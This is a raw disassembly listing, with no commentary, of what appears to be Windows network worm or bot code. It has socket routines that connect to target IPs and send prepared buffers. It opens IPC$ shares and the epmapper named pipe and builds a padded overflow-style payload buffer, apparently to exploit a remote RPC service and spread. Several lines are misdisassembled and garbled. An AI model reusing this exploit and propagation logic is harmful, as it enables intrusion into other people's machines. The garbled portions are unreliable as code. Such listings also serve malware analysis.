		lea	eax, [ebp+var_11A4]
		push	ebx
		push	eax
		call	sub_4155B0
		add	esp, 40h
		push	esi
		call	sub_415CD0
		push	eax
		lea	eax, [ebp+var_1198]
		push	esi
		push	eax
		call	sub_4155B0
		add	esp, 10h
		xor	ecx, ecx
		lea	eax, [ebp+var_47FF]


loc_402B35:				; CODE XREF: sub_402988+1BFj
		mov	dl, [ebp+ecx+var_1CC0]
		mov	[eax-1], dl
		and	byte ptr [eax],	0
		inc	ecx
		inc	eax
		inc	eax
		cmp	ecx, edi
		jl	short loc_402B35
		and	[ebp+var_2CA8],	0
		and	[ebp+var_2CA7],	0
		mov	esi, 1C52h
		lea	eax, [ebp+var_89B0]
		push	esi
		push	31h
		push	eax
		call	sub_415550
		push	esi
		lea	eax, [ebp+var_68D8]
		push	31h
		push	eax
		call	sub_415550
		add	esp, 18h
		jmp	short loc_402BD6
; ---------------------------------------------------------------------------


loc_402B7F:				; CODE XREF: sub_402988+115j
		push	7D0h
		lea	eax, [ebp+var_F10]
		push	90h
		push	eax
		call	sub_415550
		mov	esi, offset loc_4247B8
		push	esi
		call	sub_415CD0
		push	eax
		lea	eax, [ebp+var_E70]
		push	esi
		push	eax
		call	sub_4155B0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_415CD0
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_754]
		push	eax
		call	sub_4155B0
		mov	eax, ds:dword_424F98
		add	esp, 2Ch
		mov	[ebp+var_764], eax


loc_402BD6:				; CODE XREF: sub_402988+1F5j
		push	0E29h
		lea	eax, [ebp+var_2CA4]
		push	31h
		push	eax
		call	sub_415550
		movsx	eax, [ebp+var_1]
		add	esp, 0Ch
		add	eax, 4
		mov	esi, ds:dword_4211EC
		push	0
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+arg_BC]
		call	esi	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_402C17


loc_402C10:				; CODE XREF: sub_402988+2C0j
					; sub_402988+2EBj ...
		xor	al, al
		jmp	loc_402DD8
; ---------------------------------------------------------------------------


loc_402C17:				; CODE XREF: sub_402988+286j
		mov	edi, ds:dword_4211E8
		mov	ebx, 640h
		push	0
		lea	eax, [ebp+var_740]
		push	ebx
		push	eax
		push	[ebp+arg_BC]
		call	edi	; recv
		push	0
		push	68h
		push	offset dword_424BCC
		push	[ebp+arg_BC]
		call	esi	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_402C10
		push	0
		lea	eax, [ebp+var_740]
		push	ebx
		push	eax
		push	[ebp+arg_BC]
		call	edi	; recv
		push	0
		push	0A0h
		push	offset dword_424C38
		push	[ebp+arg_BC]
		call	esi	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_402C10
		push	0
		lea	eax, [ebp+var_740]
		push	ebx
		push	eax
		push	[ebp+arg_BC]
		call	edi	; recv
		cmp	[ebp+arg_C0], 0
		jz	loc_402D43
		push	68h
		lea	eax, [ebp+var_89B0]
		push	offset dword_424DF0
		push	eax
		call	sub_4155B0
		lea	eax, [ebp+var_4800]
		push	1B5Ah
		push	eax
		lea	eax, [ebp+var_8948]
		push	eax
		call	sub_4155B0
		push	70h
		lea	eax, [ebp+var_68D8]
		push	offset dword_424E5C
		push	eax
		call	sub_4155B0
		lea	eax, [ebp+var_376C]
		push	0A5Eh
		push	eax
		lea	eax, [ebp+var_6868]
		push	eax
		call	sub_4155B0
		push	84h
		lea	eax, [ebp+var_5DA4]
		push	offset dword_424ED0
		push	eax
		call	sub_4155B0
		add	esp, 3Ch
		lea	eax, [ebp+var_89B0]
		push	0
		push	10FCh
		push	eax
		push	[ebp+arg_BC]
		call	esi	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_402C10
		push	0
		lea	eax, [ebp+var_740]
		push	ebx
		push	eax
		push	[ebp+arg_BC]
		call	edi	; recv
		push	0
		push	0FDCh
		lea	eax, [ebp+var_68D8]
		jmp	short loc_402D9B
; ---------------------------------------------------------------------------


loc_402D43:				; CODE XREF: sub_402988+306j
		push	7Ch
		lea	eax, [ebp+var_2CA4]
		push	offset dword_424CDC
		push	eax
		call	sub_4155B0
		lea	eax, [ebp+var_F10]
		push	7D0h
		push	eax
		lea	eax, [ebp+var_2C28]
		push	eax
		call	sub_4155B0
		push	90h
		lea	eax, [ebp+var_2458]
		push	offset off_424D5C
		push	eax
		call	sub_4155B0
		add	esp, 24h
		and	[ebp+var_1FAD],	0
		lea	eax, [ebp+var_2CA4]
		push	0
		push	0CF8h


loc_402D9B:				; CODE XREF: sub_402988+3B9j
		push	eax
		push	[ebp+arg_BC]
		call	esi	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_402C10
		push	12Ch
		call	ds:dword_421060	; Sleep
		sub	esp, 0BCh
		lea	esi, [ebp+arg_0]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40283D
		add	esp, 0BCh
		test	al, al
		setnz	al


loc_402DD8:				; CODE XREF: sub_402988+28Aj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_402988	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402DDD	proc near		; CODE XREF: seg000:00403E5Cp

var_858		= byte ptr -858h
var_814		= byte ptr -814h
var_218		= byte ptr -218h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_14		= byte ptr  1Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h
arg_B0		= dword	ptr  0B8h

		push	ebp
		mov	ebp, esp
		sub	esp, 858h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_18]
		push	edi
		push	eax
		mov	[ebp+var_8], edi
		call	sub_415550
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_18], 2
		push	eax
		call	ds:dword_4211D8	; inet_addr
		push	[ebp+arg_A0]
		mov	[ebp+var_14], eax
		call	ds:dword_4211DC	; ntohs
		push	6
		push	1
		push	2
		mov	[ebp+var_16], ax
		call	ds:dword_4211E0	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+var_4], esi
		jz	loc_402EDA
		lea	eax, [ebp+var_18]
		push	10h
		push	eax
		push	esi
		call	ds:dword_4211E4	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_402EDA
		mov	ebx, ds:dword_4211EC
		push	edi
		push	89h
		push	offset dword_424950
		push	esi
		call	ebx	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_402EDA
		push	edi
		mov	edi, 640h
		lea	eax, [ebp+var_858]
		push	edi
		push	eax
		push	esi
		mov	esi, ds:dword_4211E8
		call	esi	; recv
		push	0
		push	0A8h
		push	offset dword_4249DC
		push	[ebp+var_4]
		call	ebx	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_402EDA
		push	0
		lea	eax, [ebp+var_858]
		push	edi
		push	eax
		push	[ebp+var_4]
		call	esi	; recv
		push	0
		push	0DEh
		push	offset dword_424A88
		push	[ebp+var_4]
		call	ebx	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_402EDA
		mov	ebx, [ebp+var_4]
		push	0
		lea	eax, [ebp+var_858]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		movsx	eax, [ebp+var_814]
		sub	eax, 30h
		jz	short loc_402EE5
		dec	eax
		jz	short loc_402EE1


loc_402EDA:				; CODE XREF: sub_402DDD+57j
					; sub_402DDD+6Dj ...
		xor	eax, eax
		jmp	loc_402F7F
; ---------------------------------------------------------------------------


loc_402EE1:				; CODE XREF: sub_402DDD+FBj
		push	0
		jmp	short loc_402F09
; ---------------------------------------------------------------------------


loc_402EE5:				; CODE XREF: sub_402DDD+F8j
		push	2
		push	ebx
		sub	esp, 0BCh
		lea	esi, [ebp+arg_0]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_402988
		add	esp, 0C4h
		test	al, al
		jnz	short loc_402F29
		push	1


loc_402F09:				; CODE XREF: sub_402DDD+106j
		push	ebx
		lea	esi, [ebp+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_402988
		add	esp, 0C4h
		test	al, al
		jz	short loc_402F30


loc_402F29:				; CODE XREF: sub_402DDD+128j
		mov	[ebp+var_8], 1


loc_402F30:				; CODE XREF: sub_402DDD+14Aj
		push	ebx
		call	ds:dword_4211F0	; closesocket
		cmp	[ebp+var_8], 0
		jz	short loc_402F7C
		push	0
		lea	eax, [ebp+var_218]
		push	[ebp+arg_B0]
		push	eax
		lea	eax, [ebp+arg_14]
		push	eax
		push	[ebp+arg_0]
		call	sub_412D32
		lea	eax, [ebp+var_218]
		push	eax
		call	sub_40B151
		mov	eax, [ebp+arg_A8]
		add	esp, 18h
		imul	eax, 3Ch
		inc	ds:dword_427308[eax]
		lea	eax, dword_427308[eax]


loc_402F7C:				; CODE XREF: sub_402DDD+15Ej
		push	1
		pop	eax


loc_402F7F:				; CODE XREF: sub_402DDD+FFj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_402DDD	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		lea	esi, [esp+10h]
		sub	esp, 0BCh
		mov	dword ptr [esp+16Ch], 87h
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_4033CB
		push	2Fh
		lea	esi, [esp+0D0h]
		pop	ecx
		mov	dword ptr [esp+16Ch], 1BDh
		mov	edi, esp
		mov	ebx, eax
		rep movsd
		call	sub_403C8B
		add	esp, 0BCh
		test	ebx, ebx
		jnz	short loc_402FD6
		test	eax, eax
		jz	short loc_402FD9


loc_402FD6:				; CODE XREF: seg000:00402FD0j
		push	1
		pop	eax


loc_402FD9:				; CODE XREF: seg000:00402FD4j
		pop	edi
		pop	esi
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402FDD	proc near		; CODE XREF: sub_4033CB+28p

var_354		= byte ptr -354h
var_34E		= byte ptr -34Eh
var_124		= byte ptr -124h
var_123		= byte ptr -123h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 354h
		push	ebx
		push	esi
		push	edi
		mov	esi, offset aIpc ; "\\IPC$"
		lea	edi, [ebp+var_C]
		mov	ecx, 8Ah
		movsd
		movsd
		movsd
		mov	esi, offset asc_4255F4 ; "\\\\"
		lea	edi, [ebp+var_354]
		movsd
		movsw
		xor	eax, eax
		lea	edi, [ebp+var_34E]
		rep stosd
		stosw
		mov	al, ds:byte_438F9C
		push	45h
		mov	[ebp+var_124], al
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_123]
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_124]
		push	0FFh
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		xor	edi, edi
		push	edi
		push	edi
		call	ds:dword_421064	; MultiByteToWideChar
		lea	eax, [ebp+var_124]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_415D7F
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_415D7F
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_354]
		add	esp, 10h
		mov	[esi+14h], eax
		mov	eax, offset dword_438F98
		push	edi
		push	eax
		push	eax
		push	esi
		mov	[esi+4], edi
		mov	[esi+10h], edi
		mov	[esi+1Ch], edi
		call	ds:dword_43A418
		cmp	eax, 5
		mov	ebx, 4C3h
		jz	short loc_4030A1
		cmp	eax, ebx
		jnz	short loc_4030AB


loc_4030A1:				; CODE XREF: sub_402FDD+BEj
		push	edi
		push	edi
		push	edi
		push	esi
		call	ds:dword_43A418


loc_4030AB:				; CODE XREF: sub_402FDD+C2j
		cmp	eax, 5
		jz	short loc_4030B9
		cmp	eax, ebx
		jz	short loc_4030B9
		push	1
		pop	eax
		jmp	short loc_4030BB
; ---------------------------------------------------------------------------


loc_4030B9:				; CODE XREF: sub_402FDD+D1j
					; sub_402FDD+D5j
		xor	eax, eax


loc_4030BB:				; CODE XREF: sub_402FDD+DAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_402FDD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4030C0	proc near		; CODE XREF: sub_4033CB+7Ap
					; sub_4033CB+15Ap

var_354		= byte ptr -354h
var_34E		= byte ptr -34Eh
var_124		= byte ptr -124h
var_123		= byte ptr -123h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 354h
		push	esi
		push	edi
		mov	esi, offset aIpc ; "\\IPC$"
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		mov	esi, offset asc_4255F4 ; "\\\\"
		lea	edi, [ebp+var_354]
		movsd
		movsw
		mov	ecx, 8Ah
		xor	eax, eax
		lea	edi, [ebp+var_34E]
		push	45h
		rep stosd
		stosw
		mov	al, ds:byte_438F9C
		pop	ecx
		mov	[ebp+var_124], al
		xor	eax, eax
		lea	edi, [ebp+var_123]
		push	0FFh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_124]
		xor	esi, esi
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	esi
		push	esi
		call	ds:dword_421064	; MultiByteToWideChar
		lea	eax, [ebp+var_124]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_415D7F
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_415D7F
		add	esp, 10h


loc_403151:				; CODE XREF: sub_4030C0+AFj
		push	esi
		lea	eax, [ebp+var_354]
		push	esi
		push	eax
		call	ds:dword_43A2B8
		test	eax, eax
		jz	short loc_403171
		push	7D0h
		call	ds:dword_421060	; Sleep
		jmp	short loc_403151
; ---------------------------------------------------------------------------


loc_403171:				; CODE XREF: sub_4030C0+A2j
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
sub_4030C0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403178	proc near		; CODE XREF: sub_4033CB+A9p
					; sub_4033CB+1E7p

var_3004	= byte ptr -3004h
var_2004	= byte ptr -2004h
var_1FE0	= byte ptr -1FE0h
var_1FD4	= byte ptr -1FD4h
var_1F2D	= byte ptr -1F2Dh
var_1004	= byte ptr -1004h
var_FFC		= dword	ptr -0FFCh
var_FF4		= dword	ptr -0FF4h
var_F84		= dword	ptr -0F84h
var_F80		= dword	ptr -0F80h
var_F50		= dword	ptr -0F50h
var_F4C		= dword	ptr -0F4Ch
var_F34		= dword	ptr -0F34h
var_E78		= dword	ptr -0E78h
var_CA4		= dword	ptr -0CA4h
var_C9C		= dword	ptr -0C9Ch
var_C94		= byte ptr -0C94h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_BC		= dword	ptr  0C4h
arg_C0		= dword	ptr  0C8h
arg_C4		= dword	ptr  0CCh

		push	ebp
		mov	ebp, esp
		mov	eax, 3004h
		call	sub_415D50
		push	esi
		push	edi
		push	offset aTilesoft_com ; "Tilesoft.com"
		mov	esi, 0A7h
		push	[ebp+arg_0]
		mov	[ebp+var_4], esi
		call	sub_40A155
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3004]
		push	1000h
		push	eax
		call	sub_414DEA
		mov	edi, eax
		add	esp, 10h
		test	edi, edi
		jz	loc_4033C7
		push	ebx
		mov	ebx, offset aFxnbfxfxnbfxfx ; "FXNBFXFXNBFXFXFXFX"
		push	30h
		lea	eax, [ebp+var_2004]
		push	ebx
		push	eax
		call	sub_4155B0
		push	esi
		lea	eax, [ebp+var_1FD4]
		push	0FFFFFF90h
		push	eax
		call	sub_415550
		lea	eax, [ebp+var_3004]
		push	edi
		push	eax
		lea	eax, [ebp+var_1F2D]
		push	eax
		call	sub_4155B0
		add	esp, 24h
		lea	esi, [edi+0D7h]


loc_4031FD:				; CODE XREF: sub_403178+D3j
		mov	eax, esi
		push	10h
		cdq
		pop	ecx
		idiv	ecx
		cmp	edx, 0Ch
		jz	short loc_40324D
		mov	esi, [ebp+var_4]
		push	30h
		lea	eax, [ebp+var_2004]
		inc	esi
		push	ebx
		push	eax
		mov	[ebp+var_4], esi
		call	sub_4155B0
		push	esi
		lea	eax, [ebp+var_1FD4]
		push	0FFFFFF90h
		push	eax
		call	sub_415550
		lea	eax, [ebp+var_3004]
		push	edi
		push	eax
		lea	eax, [ebp+esi+var_1FD4]
		push	eax
		call	sub_4155B0
		add	esp, 24h
		lea	esi, [esi+edi+30h]
		jmp	short loc_4031FD
; ---------------------------------------------------------------------------


loc_40324D:				; CODE XREF: sub_403178+90j
		cmp	[ebp+arg_C4], 0
		jz	short loc_403268
		cmp	[ebp+arg_C0], 3
		jz	short loc_403271
		cmp	[ebp+arg_C0], 0
		jmp	short loc_40326F
; ---------------------------------------------------------------------------


loc_403268:				; CODE XREF: sub_403178+DCj
		cmp	[ebp+arg_C0], 3


loc_40326F:				; CODE XREF: sub_403178+EEj
		jnz	short loc_40327A


loc_403271:				; CODE XREF: sub_403178+E5j
		push	4
		push	offset dword_4255F0
		jmp	short loc_403281
; ---------------------------------------------------------------------------


loc_40327A:				; CODE XREF: sub_403178:loc_40326Fj
		push	4
		push	offset dword_4255EC


loc_403281:				; CODE XREF: sub_403178+100j
		lea	eax, [ebp+var_1FE0]
		push	eax
		call	sub_4155B0
		add	esp, 0Ch
		lea	eax, [ebp+var_1004]
		push	360h
		push	offset dword_425124
		push	eax
		call	sub_4155B0
		push	10h
		lea	eax, [ebp+var_CA4]
		push	offset dword_425488
		push	eax
		call	sub_4155B0
		lea	eax, [ebp+var_2004]
		push	esi
		push	eax
		lea	eax, [ebp+var_C94]
		push	eax
		call	sub_4155B0
		lea	edi, [esi+370h]
		push	3Ch
		push	offset off_42549C
		lea	eax, [ebp+edi+var_1004]
		push	eax
		call	sub_4155B0
		add	edi, 3Ch
		push	30h
		push	offset dword_4254DC
		lea	eax, [ebp+edi+var_1004]
		push	eax
		call	sub_4155B0
		mov	eax, esi
		add	edi, 30h
		cdq
		sub	eax, edx
		sar	eax, 1
		add	[ebp+var_CA4], eax
		add	[ebp+var_C9C], eax
		mov	eax, [ebp+var_FFC]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_FFC], eax
		mov	eax, [ebp+var_FF4]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_FF4], eax
		mov	eax, [ebp+var_F84]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F84], eax
		mov	eax, [ebp+var_F80]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F80], eax
		mov	eax, [ebp+var_F50]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F50], eax
		mov	eax, [ebp+var_F4C]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F4C], eax
		mov	eax, [ebp+var_F34]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F34], eax
		mov	eax, [ebp+var_E78]
		lea	eax, [eax+esi-0Ch]
		lea	esi, [edi+1]
		push	esi
		mov	[ebp+var_E78], eax
		call	sub_415DA9
		add	esp, 40h
		mov	ebx, eax
		push	esi
		push	0
		push	ebx
		call	sub_415550
		lea	eax, [ebp+var_1004]
		push	edi
		push	eax
		push	ebx
		call	sub_4155B0
		mov	eax, [ebp+arg_BC]
		add	esp, 18h
		mov	[eax], edi
		mov	eax, ebx
		pop	ebx


loc_4033C7:				; CODE XREF: sub_403178+3Ej
		pop	edi
		pop	esi
		leave
		retn
sub_403178	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4033CB	proc near		; CODE XREF: seg000:00402FA3p
					; sub_40776F+1E6p
					; DATA XREF: ...

var_1338	= byte ptr -1338h
var_338		= byte ptr -338h
var_138		= byte ptr -138h
var_34		= byte ptr -34h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_14		= byte ptr  1Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h
arg_B0		= dword	ptr  0B8h
arg_B4		= dword	ptr  0BCh
arg_5053EC3D	= byte ptr  5053EC45h

		push	ebp
		mov	ebp, esp
		mov	eax, 1338h
		call	sub_415D50
		cmp	[ebp+arg_A0], 1BDh
		push	ebx
		push	esi
		push	edi
		jnz	loc_403539
		lea	eax, [ebp+var_34]
		push	eax
		lea	eax, [ebp+arg_4]
		push	eax
		call	sub_402FDD
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403649
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_138]
		push	offset aSPipeEpmapper ;	"\\\\%s\\pipe\\epmapper"
		push	eax
		call	sub_4154CD
		add	esp, 0Ch
		xor	ebx, ebx
		lea	eax, [ebp+var_138]
		push	ebx
		push	80h
		push	3
		push	ebx
		push	1
		push	0C0000000h
		push	eax
		call	ds:dword_421078	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_403450


loc_403441:				; CODE XREF: sub_4033CB+126j
		lea	eax, [ebp+arg_4]
		push	eax
		call	sub_4030C0
		pop	ecx
		jmp	loc_403649
; ---------------------------------------------------------------------------


loc_403450:				; CODE XREF: sub_4033CB+74j
		lea	eax, [ebp+arg_4]
		push	2
		push	eax
		call	sub_412B7E
		pop	ecx
		lea	esi, [ebp+arg_0]
		pop	ecx
		push	1
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_403178
		add	esp, 0C8h
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jz	short loc_4034E8
		mov	edi, 186A0h
		push	edi
		call	sub_415DA9
		mov	esi, eax
		push	edi
		push	ebx
		push	esi
		call	sub_415550
		add	esp, 10h
		lea	eax, [ebp+var_C]
		mov	edi, 2710h
		push	ebx
		push	eax
		push	edi
		push	esi
		push	48h
		push	offset dword_4250D8
		push	[ebp+var_4]
		call	near ptr 3D0000h
		mov	al, [eax+750C027Eh]
		sbb	[ebp+arg_5053EC3D], cl
		push	[ebp+var_10]
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	near ptr 3D0000h
		icebp
		test	eax, eax
		jnz	short loc_4034F6
		push	esi
		call	sub_415E1D
		push	[ebp+var_8]
		call	sub_415E1D
		pop	ecx
		pop	ecx


loc_4034E8:				; CODE XREF: sub_4033CB+B9j
		push	[ebp+var_4]
		call	ds:dword_42106C	; CloseHandle
		jmp	loc_403441
; ---------------------------------------------------------------------------


loc_4034F6:				; CODE XREF: sub_4033CB+10Bj
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		push	edi
		push	esi
		push	[ebp+var_4]
		call	ds:dword_421068	; ReadFile
		push	[ebp+var_8]
		mov	edi, eax
		call	sub_415E1D
		push	esi
		call	sub_415E1D
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	ds:dword_42106C	; CloseHandle
		lea	eax, [ebp+arg_4]
		push	eax
		call	sub_4030C0
		cmp	edi, 1
		pop	ecx
		jnz	loc_40365A
		jmp	loc_403649
; ---------------------------------------------------------------------------


loc_403539:				; CODE XREF: sub_4033CB+1Aj
		lea	eax, [ebp+arg_4]
		push	1
		push	eax
		call	sub_412B7E
		mov	esi, eax
		pop	ecx
		cmp	esi, 1
		pop	ecx
		jz	loc_403649
		xor	ebx, ebx
		push	ebx
		push	1
		push	2
		call	ds:dword_43A3F8	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_403649
		push	10h
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		call	sub_415550
		add	esp, 0Ch
		mov	[ebp+var_24], 2
		push	[ebp+arg_A0]
		call	ds:dword_43A378	; ntohs
		mov	[ebp+var_22], ax
		lea	eax, [ebp+arg_4]
		push	eax
		call	ds:dword_43A3B8	; inet_addr
		mov	[ebp+var_20], eax
		push	ebx
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		lea	esi, [ebp+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_403178
		mov	esi, eax
		add	esp, 0C8h
		cmp	esi, ebx
		mov	[ebp+var_8], esi
		jnz	short loc_4035CB
		push	[ebp+var_4]
		jmp	short loc_403643
; ---------------------------------------------------------------------------


loc_4035CB:				; CODE XREF: sub_4033CB+1F9j
		mov	edi, [ebp+var_4]
		lea	eax, [ebp+var_24]
		push	10h
		push	eax
		push	edi
		call	ds:dword_43A320	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4035E3


loc_4035E0:				; CODE XREF: sub_4033CB+22Aj
		push	esi
		jmp	short loc_40363C
; ---------------------------------------------------------------------------


loc_4035E3:				; CODE XREF: sub_4033CB+213j
		push	ebx
		push	48h
		push	offset dword_4250D8
		push	edi
		call	ds:dword_43A3C8	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4035E0
		mov	esi, 1000h
		push	ebx
		lea	eax, [ebp+var_1338]
		push	esi
		push	eax
		push	edi
		call	ds:dword_43A390	; recv
		push	ebx
		push	[ebp+var_C]
		push	[ebp+var_8]
		push	edi
		call	ds:dword_43A3C8	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_403624
		push	[ebp+var_8]
		jmp	short loc_40363C
; ---------------------------------------------------------------------------


loc_403624:				; CODE XREF: sub_4033CB+252j
		push	ebx
		lea	eax, [ebp+var_1338]
		push	esi
		push	eax
		push	edi
		call	ds:dword_43A390	; recv
		push	[ebp+var_8]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40364D


loc_40363C:				; CODE XREF: sub_4033CB+216j
					; sub_4033CB+257j
		call	sub_415E1D
		pop	ecx
		push	edi


loc_403643:				; CODE XREF: sub_4033CB+1FEj
		call	ds:dword_43A410	; closesocket


loc_403649:				; CODE XREF: sub_4033CB+31j
					; sub_4033CB+80j ...
		xor	eax, eax
		jmp	short loc_4036CA
; ---------------------------------------------------------------------------


loc_40364D:				; CODE XREF: sub_4033CB+26Fj
		call	sub_415E1D
		pop	ecx
		push	edi
		call	ds:dword_43A410	; closesocket


loc_40365A:				; CODE XREF: sub_4033CB+163j
		xor	esi, esi


loc_40365C:				; CODE XREF: sub_4033CB+2B1j
		lea	eax, [ebp+var_338]
		push	eax
		call	sub_40B231
		test	eax, eax
		pop	ecx
		jnz	short loc_403680
		push	1388h
		call	ds:dword_421060	; Sleep
		inc	esi
		cmp	esi, 6
		jl	short loc_40365C
		jmp	short loc_4036C7
; ---------------------------------------------------------------------------


loc_403680:				; CODE XREF: sub_4033CB+2A0j
		cmp	[ebp+arg_B4], ebx
		jnz	short loc_4036A5
		push	ebx
		lea	eax, [ebp+var_338]
		push	[ebp+arg_B0]
		push	eax
		lea	eax, [ebp+arg_14]
		push	eax
		push	[ebp+arg_0]
		call	sub_412D32
		add	esp, 14h


loc_4036A5:				; CODE XREF: sub_4033CB+2BBj
		lea	eax, [ebp+var_338]
		push	eax
		call	sub_40B151
		mov	eax, [ebp+arg_A8]
		pop	ecx
		imul	eax, 3Ch
		inc	ds:dword_427308[eax]
		lea	eax, dword_427308[eax]


loc_4036C7:				; CODE XREF: sub_4033CB+2B3j
		push	1
		pop	eax


loc_4036CA:				; CODE XREF: sub_4033CB+280j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4033CB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4036CF	proc near		; DATA XREF: seg002:00423004o
		jmp	$+5
sub_4036CF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4036D4	proc near
		push	0BB80h
		push	76Ch
		call	sub_41407E
		pop	ecx
		mov	ds:dword_438FA0, eax
		pop	ecx
		retn
sub_4036D4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4036EB	proc near		; CODE XREF: sub_40384C+42Ap

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_415550
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		call	ds:dword_43A3B8	; inet_addr
		mov	[ebp+var_C], eax
		mov	ax, word ptr ds:dword_438FA0
		push	eax
		call	ds:dword_43A378	; ntohs
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	ds:dword_43A3F8	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_403825
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	ds:dword_43A320	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_403825
		push	esi
		lea	eax, [ebp+var_5A0]
		push	400h
		push	eax
		push	ebx
		call	ds:dword_43A390	; recv
		mov	esi, offset aTilesoft_com ; "Tilesoft.com"
		push	esi
		push	esi
		push	[ebp+arg_0]
